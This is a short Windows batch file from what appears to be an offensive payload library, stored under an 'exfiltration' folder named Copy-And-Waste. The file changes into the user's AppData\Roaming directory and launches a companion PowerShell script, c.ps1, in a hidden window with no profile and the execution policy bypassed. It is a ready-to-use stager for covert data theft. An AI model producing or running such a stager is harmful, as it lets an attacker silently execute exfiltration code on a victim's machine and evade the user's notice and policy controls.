Path: blob/master/payloads/library/exfiltration/Copy-And-Waste/I.bat
2968 views
@echo off
powershell -Command "& {cd "$env:userprofile\AppData\Roaming"; powershell -w h -NoP -NonI -Ep Bypass -File "c.ps1"}"
pause
Path: blob/master/payloads/library/exfiltration/Copy-And-Waste/I.bat
2968 views